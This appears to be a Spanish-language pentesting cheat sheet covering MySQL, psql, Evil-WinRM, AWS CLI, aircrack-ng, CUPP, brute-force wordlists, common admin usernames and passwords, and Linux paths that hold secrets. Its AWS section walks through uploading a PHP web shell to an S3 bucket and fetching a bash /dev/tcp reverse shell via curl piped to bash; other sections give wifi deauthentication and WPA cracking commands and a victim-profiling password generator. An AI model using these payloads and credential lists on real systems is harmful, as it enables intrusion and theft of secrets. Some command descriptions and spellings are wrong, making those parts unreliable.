DROP DATABASE [nombre_base_datos];                                                                 (Borrar bases de datos existente)
SHOW DATABASES;                                                                                                         (Mostrar todas las bases de datos)
USE [base_datos];                                                                                                             (Seleccionar base de datos a visionar)

CREATE TABLE [nombre_tabla] (columna1, columna2, ...);                                (Crear tabla dentro de una base de datos seleccionada)
DROP TABLE [nombre_tabla];                                                                                       (Crear tabla dentro de una base de datos seleccionada)
SHOW TABLES;                                                                                                                   (Mostrar las tablas de la base de datos seleccionada)
DESCRIBE [nombre_tabla];                                                                                             (Describir una tabla específica)
INSERT INTO [nombre_tabla] VALUES (columna1, ...);                                          (Insertar nuevos valores en una tabla)
UPDATE [nombre_tabla] SET [Columna1] = [valor1] WHERE [condición];       (Actualiza registros existentes)
DESCRIBE [nombre_tabla];                                                                                             (Describir una tabla específica)
DELETE FROM [nombre_tabla] WHERE [condición]                                               (Eliminar registros de una tabla)
SELECT * FROM [nombre_tabla];                                                                                  (Mostrar todas las columnas de una tabla)
SELECT [columna/s] FROM [nombre_tabla];                                                            (Mostrar columna/s de una tabla)
SELECT [columna/s] FROM [nombre_tabla] WHERE [condición];                     (Mostrar columna/s de una tabla)

START TRANSACTION;                                                                                                    (Iniciar una transacción de datos)
COMMIT;                                                                                                                              (Confirma la transacción actual)
ROLLBACK;                                                                                                                          (Cancela la transacción actual)

SELECT CURRENT_USER();                                                                                           (Visionar el usuario actual)
SELECT User, Host FROM mysql.user;                                                                       (Visionar usuarios y su host)
CREATE USER [nombre_usuario]@[host] IDENTIFYED BY [contraseña];       (Crear usuario nuevo)
DROP USER [nombre_usuario]@[host];                                                                    (Eliminar usuario existente)

CAMBIAR DE USUARIO ACTUAL A OTRO EXISTENTE:
\qmysql -u [usuario_nuevo] -p
SYSTEM mysql -u [usuario_nuevo] -p
\!
mysql -u [usuario_nuevo] -p

FLUSH PRIVILEGES;                                                                                                         (Recargar el archivo de privilegios)
KILL [id_de_proceso];                                                                                                     (Terminar un proceso específico en el servidor)
SHOW VARIABLES;                                                                                                          (Muestra variables de configuración del servidor)

HELP [término_a_buscar];                                                                                            (Cancela la transacción actual)
\h [comando];                                                                                                                    (Muestra ayuda de un comando específico)
 

mySQL

🔌  EVIL-WINRM

Evil-WinRM es una herramienta de línea de comandos escrita en Ruby que permite a los usuarios interactuar con sistemas Windows mediante el protocolo WinRM (Windows Remote Management). Esta herramienta es particularmente útil para pruebas de penetración (pentesting) y post-explotación en sistemas Windows, permitiendo a los usuarios cargar y ejecutar scripts de PowerShell, cargar DLLs y binarios en memoria, y más, todo desde una terminal Linux.

Establecer conexión:
evil-winrm -i [host-IP] -u [usuario] -p [contraseña]

Desconectar:
[ctrl] + [c]

[y] + [enter]
 

evil-winRM

☁️ AWS (AMAZON CLOUD WEB SERVICES)

Amazon Web Services (AWS) es un servicio de computación en la nube ofrecido por Amazon que permite a los usuarios encontrar, comprar y desplegar sistemas operativos Linux en la nube. Desde su lanzamiento inicial en 2006 con una sola instancia y un solo sistema operativo, Amazon Linux, AWS ha experimentado un crecimiento significativo, expandiéndose para ofrecer a los clientes la opción de ejecutar más de 30 tipos de instancias y más de 10 sistemas operativos, aunque Linux, Xen y otros proyectos de código abierto siguen siendo las tecnologías fundamentales detrás de AWS 4. Esta amplia gama de opciones y capacidades hace de AWS una plataforma versátil para una variedad de usos, desde alojamiento web y desarrollo hasta análisis de big data y ejecución de aplicaciones empresariales complejas.

INSTALACIÓN AUTOMÁTICA DE AWS CLI (cliente) EN LINUX:
apt install awscli
 
INSTALACIÓN MANUAL DE AWS CLI (cliente) EN LINUX DE 64 BITS:
Descargar:
curl "https://d1vvhvl2y92vvt.cloudfront.net/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
Descomprimir:
unzip awscliv2.zip
Instalar:
sudo./aws/install

Comprobar instalación:
aws --version

Configurar AWS CLI. Para los casos en los que se pueda bypassear el sistema, podemos meter cualquier valor aleatorio:
aws configure
AWS Access Key ID [None]:
[random]
AWS Secret Access Key [None]:
[random]
Default region name [None]:
[random]
Default output format [None]:
[random]
 
Interactuar con el servicios de AWS listando los "buckets":
aws s3 ls
 
____________________________________________________________________________________________

Para poder conectar con un servidor web de AWS, se requiere la siguiente información:
-IP
-URL
-La certeza de que el servicio está en ejecución

El servidor web debería tener una URL con la siguiente sintaxis, con un subdominio s3:
http://s3.web.com
Al ejecutar dicha URL en el navegador, si el servicio está en ejecución, deberíamos obtener el mensaje:
{"status": "running"}
(Para poder ejecutar la URL posiblemente sea necesario excepcionarla en /etc/hosts)

Para listar los "
buckets S3" del servidor:
aws --endpoint=http://s3.web.com s3 ls
2024-06-15 20:35:09 bucket1.com

Para listar los objetos dentro del bucket que tiró el servidor:
aws --endpoint=http://s3.web.com s3 ls s3://bucket1.com
                                             
     PRE    images/
2024-06-15 20:35:09              0   .htaccess
2024-06-15 20:35:09    11952    index.php


En este caso práctico, tras ver que el servidor usa PHP (index.php), se puede intentar subir una PHP shell al bucket S3, ejecutar el archivo desde el navegador y así activar una conexión remota.

A continuación, el
one-liner para crear dicho archivo shell.php (dicha línea podría ser detectada como maliciosa):
echo '<?php system($_GET["cmd"]); ?>' > shell.php

Subir con AWS CLI al bucket del servidor, el archivo shell.php:
aws --endpoint=http://s3.web.com s3 cp shell.php s3://bucket1.com

Para activar el archivo shell.php, se requiere acceder desde el navegador:
http://web.com/shell.php

Concretamente usando el comando "id" en el navegador, para obtener una línea que nos confirma "code execution":
http://web.com/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ahora es preciso escribir un archivo shell.sh para obtener una "reverse shell" que lance una conexión de vuelta con nuestro equipo, en este caso por el puerto 1337 que no entra en conflicto con ningún servicio ni aplicación habitual.

#!/bin/bash
bash -i >& /dev/tcp/[IP_de_mi_equipo]/1337 0>&1

Ahora es necesario poner con "ncat" en escucha al puerto 1337 con el comando:
nc -nvlp 1337

Para que se ejecute el archivo shell.sh, hay que ejecutar la siguiente línea desde una terminal situada en el directorio del archivo shell.sh:
python3 -m http.server 8000

Entoncer, hay que introducir la siguiente línea en el navegador para cargar el "payloadshell.sh:
http://web.com/shell.php?cmd=curl20[IP_de_mi_equipo]:8000/shell.sh|bash

Y BINGO. Se obtiene una "reverse shell" por el puerto en escucha 1337

aws

🗃️  PSQL (DATABASE)

PSQL es el cliente de línea de comandos de PostgreSQL, que permite a los usuarios interactuar con una base de datos PostgreSQL. Proporciona una interfaz para ejecutar comandos SQL, gestionar bases de datos y realizar otras tareas relacionadas con PostgreSQL.

Instalar:
sudo apt update && sudo apt install psql

Establecer conexión:
psql -U [usuario] -h [localhost_IP] -p [puerto] -d [database_name]

____________________________________________________________________________________________

Comandos para moverse dentro:
\l                                                          (Listar bases de datoss)
\c [database]                                   (Cambiar base de dato)
\dt                                                       (Mostrar todas las tablas de la base de datos actual)
\du                                                      (Mostrar todos los usuarios y sus roles)
\?                                                         (Ayuda)
\q                                                         (Salir)
 

psql

📂 CIFS-UTILS (MONTAR DIRECTORIO REMOTO EN EQUIPO)

Para utilizar el CIFS (Common Internet File System) en Linux, generalmente necesitas el paquete cifs-utils. Este paquete contiene herramientas necesarias para montar y trabajar con sistemas de archivos compartidos utilizando el protocolo CIFS/SMB.

NOTA: Una vez montado el recurso compartido remoto en el equipo, CUIDADO, todo cambio realizado a los directorios, subdirectorios y archivos dentro de /mnt, se reflejará el el directorio original remoto.

INSTALAR:
sudo apt install cifs-utils

Crear un directorio para el punto de montaje en la raíz /mnt:
sudo mkdir /mnt/mounted

Montar el recurso compartido del host en el punto de montaje (CON credenciales):
sudo mount -t cifs -o username=[usuario],password=[contraseña] //[host_IP]/recurso compartido/mnt/mounted

Montar el recurso compartido del host en el punto de montaje (SIN credenciales):
sudo mount -t cifs -o username=null,password=null,domain=,rw //[host_IP]/recurso compartido/mnt/mounted

Desmontar el directorio remoto:
sudo unmount /mnt/mounted
 

cifs-utils
s/s wifi

📡 START / STOP WIFI

Habilitar dispositivo WIFI:
nmcli nm wifi on

Deshabilitar dispositivo WIFI:
nmcli nm wifi off

🦷 START / STOP BLUETOOTH

Habilitar dispositivo Bluetooth:
service bluetooth start

Deshabilitar dispositivo Bluetooth:
service bluetooth stop

s/s bluetooth

🔑 OBTENER CLAVE WIFI (RED LOCAL)

Ruta de archivos de configuración de red WIFI:
/etc/NetworkManager/system-connections/

Buscar contraseña wifi en todos los archivos de la ruta de conexiones (no funciona con "adaptador puente"):
sudo grep -r 'psk=' /etc/NetworkManager/system-connections/

Listar conexiones (para comprobar si hay una conexión wifi o por cable):
nmcli connection show
 

obtner clave WIFI
sparrow wifi

🔴 SPARROW WIFI

Sparrow-WiFi es un analizador gráfico de Wi-Fi para Linux que ofrece una alternativa más completa a herramientas como inSSIDer y linssid. Algunas características principales son:
 

- Análisis de espectro Wi-Fi en tiempo casi real tanto para 2.4 GHz como 5 GHz.

- Integración con GPS convencional y GPS de drones/rovers vía mavlink.

- Funcionalidades avanzadas de Bluetooth.

- Interfaz gráfica intuitiva basada en Qt5.

- Es una herramienta versátil diseñada para diferentes escenarios de análisis de redes inalámbricas.
 

INSTALACIÓN

Para instalar Sparrow-WiFi en distribuciones basadas en Debian, Ubuntu o Kali Linux, seguir estos pasos:


Actualizar el sistema:
sudo apt update && sudo apt upgrade

 

Instalar las dependencias necesarias:
sudo apt-get install python3-pip gpsd gpsd-clients python3-tk python3-setuptools python3-pyqt5.qtchart

 

Instalar los paquetes de Python requeridos:
sudo pip3 install QScintilla gps3 dronekit manuf python-dateutil numpy matplotlib

 

Clonar el repositorio de GitHub:
git clone https://github.com/ghostop14/sparrow-wifi cd sparrow-wifi

 

Ejecutar la aplicación con privilegios de root:
sudo python3 sparrow-wifi.py

 

USO BÁSICO

Una vez instalado y ejecutado, Sparrow-WiFi mostrará una interfaz gráfica con varias pestañas:
 

Pestaña principal: Muestra un escaneo básico de Wi-Fi similar a otras herramientas.

Espectro: Permite visualizar el espectro de frecuencia en tiempo casi real.

Bluetooth: Ofrece funcionalidades de escaneo y análisis de dispositivos Bluetooth.

GPS: Integra información de ubicación geográfica.
 

Para usarlo, navegar por las diferentes pestañas para acceder a las distintas funciones.

Utilizar los botones y menús para activar/desactivar escaneos y ajustar configuraciones.

NOTA: Consulta la documentación oficial para detalles sobre opciones avanzadas.

🔑 AIRCRACK-NG

Aircrack-ng es una suite de herramientas de código abierto para auditoría de redes inalámbricas. Permite capturar paquetes, crackear contraseñas Wi-Fi (WEP/WPA/WPA2), realizar ataques de desautenticación y analizar la seguridad de redes inalámbricas.

Ver de la herramienta:

🌐 https://www.kali.org/tools/aircrack-ng

INSTALAR:
sudo apt update
sudo apt install aircrack-ng -y
sudo apt install airodump-ng
sudo apt install aireplay-ng


Forzar la desconexión de los equipos conectados a la red wifi para capturar el "handshake" cuando reconecten:
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon

Seguidamente, capturar paquetes de la conexión inalámbrica "wlan0" para generar un archivo "capture.cap":
sudo airodump-ng --write capture wlan0mon

Usar el archivo .cap generado con Airodump-ng para crackear la red wifi usando una "wordlist":
sudo aircrack-ng -w /usr/share/wordlists/wifite.txt -b 00:11:22:33:44:55 capture.cap

PARÁMETROS:
--help [wordlist]                (muestra la ayuda completa de parámetros)
-a [modo]                            (especifica el tipo de ataque, 1 para WEP, 2 para WPA/WPA2)
-w [
wordlist]                       (archivo de lista de palabras para ataque de fuerza bruta)
-b [BSSID]                            (filtra por el BSSID del punto de acceso objetivo)
-e [BSSID]                            (filtra por el nombre de la red, ESSID)
-q                                            (modo silencioso, reduce la salida en pantalla)
-o [archivo]                          (guarda la clave encontrada en un archivo)

 

aircrack-ng
users/pass

🔑 USUARIOS / CONTRASEÑAS COMUNES
 

🧑 USUARIOS COMUNES
      (con privilegios):


admin
admin1
admin2
admin3
adminaccount
administrator
adminroot
admintest
adminuser
admroot
apache
audit
auditadmin
audituser
backup
cloud
cloudadmin
cloudguest
clouduser
dbadmin
default
dev
developer
developeradmin
devops
devopsadmin
docker
firewall
firewalladmin
ftp
ftpadmin
ftpguest
ftpmanager
ftpuser
guest
httpd
infra
infradmin
infrauser
iotadmin
iotguest
iotmanager
iotuser
itadmin
itmanager
itsupport
kube
kubectl
log
logadmin
loguser
mail
mailadmin
maint
maintenance
manager
master
masteradmin
monitor
monitoring
mysql
netadmin
neteng
netengineer
netman
netmgr
netops
nettech
nginx
nobody
operations
operator
ops
oracle
platform
platformadmin
postgres
poweradmin
poweruser
printadmin
printer
printuser
proftpd
proxy
root
roothacker
rootkit
rootme
rootuser
sa
secadmin
secops
security
securityadmin
servadmin
service
serviceaccount
shadmin
shell
shelladmin
snmp
ssh
sshd
sudoadmin
sudoroot
sudouser
superadmin
superroot
superuser
supervisor
support
svcadmin
sys
sysadmin
sysmaster
sysop
sysops
system
test
user
user1
user2
user3
vpn
vpnadmin
vsftpd
webadmin
webmaster
www-data

 

🔑 CONTRASEÑAS COMUNES

      (de usuarios con privilegios):

1234
12345
123456
12345678
123admin
123qwerty
abc123
access
access123
admin
admin?
admin!
admin1
admin123
admin12345
adminaccount123
adminadmin
administrador
administrador1
administrador123
administrator
administrator1
administrator123
adminlogin
adminpass
adminpassword
adminpassword123
adminroot
admintest123
adminuser123
asdfghjkl
asdfghjkl123
auditadmin123
auditadminpassword
batman
cloudadmin123
cloudadminpassword
dbadmin123
dbadminpassword
default123
default1234
defaultpassword
devops123
devopspassword
docker123
dockerpassword
ftpadmin123
ftpadminpassword
guest123
infra123
infrapassword
iotadmin123
iotadminpassword
itadmin123
itadminpassword
itsupport123
itsupportpassword
kube123
kubepassword
letmein
letmein1
letmein123
letmeinpassword
logadmin123
logadminpassword
login123
loginpassword
logmein
mailadmin123
mailadminpassword
manager123
managerpassword
masteradmin123
masteradminpassword
monitor123
monitorpassword
mypassword
mypassword1
mypassword123
mysecurepassword
mysql123
mysqlpassword
netops123
netopspassword
networkadmin
operator123
operatorpassword
opsadmin123
opspassword
oracle123
oraclepassword
pass1234
passw0rd
passwd123
password
password!
password$
password1
password123
password2
password22
password@
platform123
platformpassword
power123
powerpassword
poweruser123
printadmin123
printadminpassword
proxy123
proxypassword
qwerty
qwerty1
qwerty123
qwertyuiop
root
root?
root!
root1
root123
root12345
rootadmin
rootkit123
rootkitpassword
rootlogin
rootpass
rootpassword
rootroot
rootuser123
saadmin123
sapassword
secure123
securepass123
securepassword
security123
securitypassword
service123
servicepassword
shelladmin123
shelladminpassword
spiderman
sshadmin123
sshadminpassword
sudoadmin123
sudoadminpassword
superadmin123
superman
superroot
superroot123
superuser
superuser123
supervisor123
supervisorpassword
support123
supportpassword
svcadmin123
svcadminpassword
sysadmin1
sysadmin123
sysadmin2
sysadminpassword
sysmaster123
sysmasterpassword
sysops123
sysopspassword
trustno1
trustno1!
trustno1123
trustno123
user
user1
user123
userpassword
webadmin123
webadminpassword
welcome
welcome1
welcome123
welcome1234
welcome2
zxcvbnm
zxcvbnm123

 

📑 WORDLISTS

WORDLISTS para fuerza bruta sobre 🔑 CONTRASEÑAS de USUARIO:
/usr/share/wordlists/metasploit/password.lst
/usr/share/wordlists/legion/root-userpass.txt
/usr/share/wordlists/dirb/others/names.txt
/usr/share/wordlists/amass/all.txt
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/fern-wifi/common.txt
/usr/share/wordlists/john.lst
/usr/share/wordlists/metasploit/burnett_top_500.txt
/usr/share/wordlists/metasploit/burnett_top_1024.txt
/usr/share/wordlists/metasploit/dangerzone-a.txt
/usr/share/wordlists/metasploit/dangerzone-b.txt
/usr/share/wordlists/metasploit/db2_default_pass.txt
/usr/share/wordlists/metasploit/keyboard_patterns.txt
/usr/share/wordlists/metasploit/mirai_pass.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
/usr/share/wordlists/wfuzz/others/common_pass.txt


WORDLISTS para fuerza bruta sobre 👨 NOMBRES de USUARIOS:
/usr/share/wordlists/dirb/others/names.txt
/usr/share/wordlists/metasploit/namelist.txt
/usr/share/wordlists/dirb/others/best110.txt
/usr/share/wordlists/dirb/others/best1050.txt
/usr/share/wordlists/legion/ssh-user.txt
/usr/share/wordlists/metasploit/db2_default_user.txt
/usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
/usr/share/wordlists/metasploit/ipmi_users.txt
/usr/share/wordlists/metasploit/http_default_users.txt
/usr/share/wordlists/metasploit/idrac_default_user.txt
/usr/share/wordlists/metasploit/mirai_user.txt
/usr/share/wordlists/metasploit/multi_vendor_ccdv_users.txt
/usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt
/usr/share/wordlists/metasploit/unix_users.txt
/usr/share/wordlists/wfuzz/others/names.txt

 
WORDLISTS para fuerza bruta sobre 🛜 CONTRASEÑAS de WIFI:
/usr/share/wordlists/wifite.txt
/usr/share/wordlists/fern-wifi/common.txt
/usr/share/wordlists/legion/routers-userpass.txt
/usr/share/wordlists/metasploit/dlink_telnet_backdoor.txt
/usr/share/wordlists/metasploit/mirai_pass.txt


WORDLISTS para fuerza bruta sobre 💾 CONTRASEÑAS de SERVICIOS / HARDWARE:
/usr/share/wordlists/metasploit/dlink_telnet_backdoor.txt
/usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt
/usr/share/wordlists/metasploit/flask_secret_keys.txt
/usr/share/wordlists/legion/snmmp-default.txt
/usr/share/wordlists/legion/ssh-betterdefaultpasslist.txt
/usr/share/wordlists/legion/ssh-password.txt
/usr/share/wordlists/legion/telnet-betterdefaultpasslist.txt
/usr/share/wordlists/legion/tomcat-betterdefaultpasslist.txt
/usr/share/wordlists/legion/vnc-betterdefaultpasslist.txt
/usr/share/wordlists/legion/windows-betterdefaultpasslist.txt
/usr/share/wordlists/legion/db2-betterdefaultpasslist.txt
/usr/share/wordlists/legion/ftp-betterdefaultpasslist.txt
/usr/share/wordlists/legion/mssql-betterdefaultpasslist.txt
/usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt
/usr/share/wordlists/legion/oracle-betterdefaultpasslist.txt
/usr/share/wordlists/legion/postgres-betterdefaultpasslist.txt
/usr/share/wordlists/metasploit/http_owa_common_id.txt
/usr/share/wordlists/metasploit/idrac_default_pass.txt
/usr/share/wordlists/metasploit/ipmi_passwords.txt
/usr/share/wordlists/metasploit/joomla.txt
/usr/share/wordlists/metasploit/mirai_pass.txt
/usr/share/wordlists/metasploit/multi_vendor_ccdv_pass.txt
/usr/share/wordlists/metasploit/oracle_default_pass_swords.csv
/usr/share/wordlists/metasploit/postgres_default_pass.txt
/usr/share/wordlists/metasploit/sid.txt
/usr/share/wordlists/metasploit/snmp_default_pass.txt
/usr/share/wordlists/metasploit/superset_secret_keys.txt
/usr/share/wordlists/metasploit/telnet_telnet_asp.net_ajax_versions.txt
/usr/share/wordlists/metasploit/telnet_cdata_fth_b.txt
/usr/share/wordlists/metasploit/ftp.txt
/usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
/usr/share/wordlists/metasploit/vnc_passwords.txt
/usr/share/wordlists/fasttrack.txt


WORDLISTS para fuerza bruta sobre 🌐 DOMINIOS / SUBDOMINIOS:
/usr/share/wordlists/amass/all.txt
/usr/share/wordlists/nmap.lst
/usr/share/wordlists/dnsmap.txt
/usr/share/wordlists/amass/bitquark_subdomains_top100k.txt
/usr/share/wordlists/amass/p50kprefixes.txt
/usr/share/wordlists/amass/fierce-hostlist.txt
/usr/share/wordlists/amass/jhaddix_all.txt
/usr/share/wordlists/dirb/spanish.txt
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/amass/sorted_knock_dnsrecon_econ_fierce_recon-ng.txt
/usr/share/wordlists/amass/subdomains.lst
/usr/share/wordlists/amass/top1mil-5000.txt
/usr/share/wordlists/amass/top1mil-20000.txt
/usr/share/wordlists/amass/top1mil-100000.txt
/usr/share/wordlists/legion/gvit_subdomain_wordlist.txt
/usr/share/wordlists/metasploit/common_roots.txt
/usr/share/wordlists/metasploit/lync_subdomains.txt
/usr/share/wordlists/metasploit/malicious_urls.txt
/usr/share/wordlists/wfuzz/general/admin-panels.txt
/usr/share/wordlists/wfuzz/general/mutations_common_n.txt


WORDLISTS 
para fuerza bruta sobre 🖥️ NOMBRES DE HOSTS:
/usr/share/wordlists/nmap.lst
/usr/share/wordlists/dirb/others/names.txt
/usr/share/wordlists/amass/jhaddix_all.txt
/usr/share/wordlists/dirb/spanish.txt
/usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt
/usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
/usr/share/wordlists/metasploit/can_flood_frames.txt
/usr/share/wordlists/wfuzz/general/admin-panels.txt
/usr/share/wordlists/wfuzz/general/medium.txt
/usr/share/wordlists/wfuzz/general/megabeast.txt
/usr/share/wordlists/wfuzz/general/mutations_common_n.txt
/usr/share/wordlists/dnsmap.txt

 

wordlists

📁 ARCHIVOS Y RUTAS SENSIBLES EN LINUX

Rutas de archivos sensibles de interés en Linux (👨USUARIO):
/home/usuario/.bash_history                     (historial de comandos bash → puede revelar contraseñas)
/home/usuario/.ssh/id_rsa                          (clave privada SSH → acceso a otros sistemas)
/home/usuario/.ssh/authorized_keys      (claves públicas autorizadas → pivoting)
/home/usuario/.ssh/known_hosts           (lista de hosts SSH conocidos → para moverte lateralmente)
/home/usuario/.bashrc                                 (alias y funciones personalizadas → posibles credenciales)
/home/usuario/.profile                                 (variables de entorno cargadas al login)
/home/usuario/.git-credentials                 (credenciales HTTP de Git → a veces usuario:pass en texto)
/home/usuario/.gnupg                                 (claves GPG privadas → cifrado y firmas)
/home/usuario/.netrc                                   (credenciales para FTP, HTTP → hosts, usuarios y contraseñas)
/home/usuario/.my.cnf                                (configuración MySQL → usuario y contraseña para conexiones)
/home/usuario/.pgpass                               (contraseñas PostgreSQL → formato host:port:db:user:pass)
/home/usuario/.npmrc                                 (tokens NPM → acceso a registries privados)
/home/usuario/.pypirc                                  (credenciales PyPI → usuario y contraseña para uploads)
/home/usuario/.gem/credentials              (credenciales RubyGems → API keys para gems)
/home/usuario/.subversion/auth/             (credenciales Subversion → usuarios y contraseñas cached)
/home/usuario/.mysql_history                   (historial de comandos MySQL → queries con creds)
/home/usuario/.psql_history                       (historial de comandos PostgreSQL → similar a MySQL)
 

Rutas de archivos sensibles de interés en Linux (⚙️ARCHIVOS DEL SISTEMA):
/etc/passwd                     (lista de usuarios del sistema. no contiene contraseñas)
/etc/shadow                    (hashes de contraseñas → solo accesible como root)
/etc/group                        (grupos del sistema → ver si el usuario está en sudo)
/etc/hostname                (nombre del host)
/etc/hosts                         (mapeo IP ↔ nombre → puede revelar entornos internos)
/etc/resolv.conf               (servidores DNS configurados)
/etc/sudoers                     (configuración de sudo → privilegios de usuarios)
/etc/fstab                          (montajes de filesystems → posibles creds en opciones de mount como NFS/SMB)
/etc/crontab                     (cron jobs del sistema → scripts con comandos sensibles o creds)
/etc/aliases                       (aliases de email → redirecciones y usuarios)
/etc/os-release                (detalles del SO → versión y distribución para exploits)
/etc/lsb-release               (información de distribución → similar a os-release)
/etc/issue                          (mensaje de identificación del sistema → banners pre-login)
/etc/motd                          (Message Of The Day → info personalizada post-login)
 

Rutas de archivos sensibles de interés en Linux (⚙️CONFIGURACIÓN DE SERVICIOS):
/etc/ssh/sshd_config                         (configuración SSH → puede revelar usuarios PermitRootLogin)
/etc/apache2/apache2.conf             (configuración Apache)
/etc/nginx/nginx.conf                         (configuración Nginx → posibles rutas ocultas)
/etc/mysql/my.cnf                               (configuración MySQL → a veces incluye usuario y contraseña)
/etc/postgresql/pg_hba.conf           (autenticación PostgreSQL → métodos de auth y usuarios)
/etc/redis/redis.conf                            (configuración Redis → requirepass para contraseña)
/etc/mongod.conf                                (configuración MongoDB → auth, usuarios y roles)
/etc/php/php.ini                                   (configuración PHP → expose_php, allow_url_fopen con riesgos)
/etc/dovecot/dovecot.conf               (configuración email IMAP/POP → auth mechanisms con creds)
/etc/postfix/main.cf                           (configuración SMTP → relayhost con posibles creds)
/etc/samba/smb.conf                       (configuración Samba → shares con usuarios y contraseñas)
/etc/ldap/ldap.conf                            (configuración LDAP → binddn y bindpw para auth)
/var/www/html/config.php              (configuración de webs PHP → claves DB, API keys)
/var/www/html/.env                           (variables de entorno web → claves API, DB, JWT)
 

Rutas de archivos sensibles de interés en Linux (💾ARCHIVOS DE LOGS):
/var/log/auth.log                                       (logins exitosos y fallidos → bruteforce detectado)
/var/log/secure                                           (iIgual que auth.log (en RedHat)
/var/log/apache2/access.log                 (peticiones web → puede revelar parámetros y ataques)
/var/log/apache2/error.log                     (errores web → paths internos, errores SQL)
/var/log/mysql/error.log                          (errores de MySQL → usuarios y contraseñas a veces)
/var/log/syslog                                           (logs generales del sistema → eventos variados)
/var/log/messages                                    (mensajes del sistema → similar a syslog en algunas distros)
/var/log/kern.log                                        (logs del kernel → hardware y drivers sensibles)
/var/log/dmesg                                          (mensajes de boot → dispositivos y configs iniciales)
/var/log/nginx/access.log                       (peticiones Nginx → similar a Apache access)
/var/log/nginx/error.log                          (errores Nginx → leaks de info interna)
/var/log/postgresql/postgresql.log     (logs PostgreSQL → queries y errores con creds)
/var/log/redis/redis.log                           (logs Redis → conexiones y comandos sensibles)
/var/log/cron                                              (logs de cron jobs → ejecuciones fallidas con detalles)
/var/log/audit/audit.log                         (logs de auditoría → eventos de seguridad detallados)
 

Rutas de archivos sensibles de interés en Linux (🪪CREDENCIALES Y API KEYS):
/var/www/html/.env                                       (variables de entorno → API keys, DB credentials)
/var/www/html/wp-config.php                   (configuración WordPress → DB usuario y contraseña)
/var/www/html/config.php                          (configuración genérica → a veces claves duras)
/var/www/html/.htpasswd                           (archivos de contraseñas HTTP Basic Auth)
/var/www/html/.git/config                           (URLs de repositorios → puede contener tokens)
/etc/environment                                             (variables de entorno system-wide → posibles secrets)
/etc/jenkins/jenkins.model.JenkinsLocationConfiguration.xml         (config Jenkins → URLs y creds)
/var/www/html/laravel/.env                                                                          (env Laravel → app keys, DB creds)
/var/www/html/drupal/sites/default/settings.php                              (config Drupal → DB y site keys)
/home/usuario/.env                                                                                          (env user-specific → creds locales)
/home/usuario/.composer/auth.json                                                         (credenciales Composer → tokens GitHub/Packagist)
/home/usuario/.maven/settings.xml                                                          (config Maven → server creds para repos)
 

Rutas de archivos sensibles de interés en Linux (🔑CLAVES Y TOKENS):
/root/.ssh/id_rsa                                                (clave privada SSH root)
/etc/ssl/private/                                                 (claves privadas SSL)
/home/usuario/.aws/credentials                  (credenciales AWS → acceso cloud)
/home/usuario/.docker/config.json             (tokens Docker → acceso a registries privados)
/home/usuario/.ssh/id_rsa                            (aquí se encontraría la Clave Privada de OpenSSH)
/home/usuario/.kube/config                         (config Kubernetes → tokens y certs para clusters)
/home/usuario/.config/gcloud/credentials.db          (credenciales Google Cloud → access tokens)
/home/usuario/.azure/config.json                                 (config Azure → subscription IDs y keys)
/home/usuario/.config/digitalocean/config.json      (tokens DigitalOcean → API access)
/home/usuario/.terraformrc                                            (config Terraform → provider creds)
/home/usuario/.config/heroku/credentials                (credenciales Heroku → API keys)
/home/usuario/.vault-token                                            (tokens Vault → secrets management)
/etc/letsencrypt/live                                                           (claves y certs Let's Encrypt → dominios)
 

Rutas de archivos sensibles de interés en Linux (*️⃣OTROS):
/proc/self/environ                    (variables de entorno del proceso actual)
/proc/net/tcp                             (conexiones TCP activas → puede revelar servicios internos)
/proc/cmdline                             (parámetros del kernel al arrancar → posibles creds)
/proc/sched_debug                  (información detallada de procesos → a veces sensible)
/proc/self/cmdline                    (command line del proceso actual → args con datos)
/proc/mounts                             (filesystems montados → tipos y opciones con creds)
/sys/class/net/                           (interfaces de red → MAC, IPs, configs)
/var/spool/cron/crontabs/     (crontabs de usuarios → jobs con scripts y creds)
/etc/cron.d/                                 (directorios cron → jobs programados con info)
/etc/init.d/                                  (scripts de init → comandos de startup con creds)
/proc/cpuinfo                             (detalles de CPU → para fingerprinting hardware)
/proc/meminfo                          (info de memoria → uso y límites)
/etc/security/limits.conf         (límites de recursos → configs de usuarios)

archivos-rutas-sensibles
dirb

🔑 COMMON USER PASSWORD PROFILER (cupp)

CUPP, o Common User Passwords Profiler, es una herramienta automatizada escrita en Python diseñada para ayudar a los usuarios a generar listas de palabras posibles basadas en información sobre un objetivo específico. Esta herramienta se utiliza comúnmente en pruebas de penetración legales y en investigaciones forenses para identificar posibles contraseñas o nombres de usuario que podrían ser utilizados por un atacante. Al interactuar con el usuario y hacerle responder preguntas fundamentales sobre el objetivo, como nombre, nombre del compañero, nombre de la empresa, etc., CUPP genera listas de palabras únicas que pueden ser utilizadas para ataques de fuerza bruta o para intentos de crackeo de contraseñas.

Se pueden modificar la configuración de la herramienta mediante el archivo cupp.cfg, donde se puede personalizar cómo se generan las listas de palabras. Conviene añadir más años a la lista de años, así como modificar los parámetros del Modo L337 o incorporar algún caracter especial más, como "?". El archivo requiere permisos para su modificación.

INSTALAR:
git clone https://github.com/Mebus/cupp.git

MOSTRAR PANEL DE AYUDA (en carpeta contenedora):
./cupp.py

EJECUTAR EN MODO INTERACTIVO (en carpeta contenedora):
./cupp.py -i

PREGUNTAS del MODO INTERACTIVO:

* Si se desconoce un campo, dejarlo en blanco
* El
archivo generado tendrá el nombre de la víctima (nombre.txt)

- Nombre de la víctima
- Apellido de la víctima
- Apodo de la víctima
- Fecha de nacimiento de la víctima (formato día / mes / año)

- Nombre de la pareja
- Apodo de la pareja
- Fecha de nacimiento de la pareja

- Nombre del hijo/a
- Apodo del hijo/a
- Fecha de nacimiento del hijo/a

- Nombre de la mascota
- Nombre de la empresa


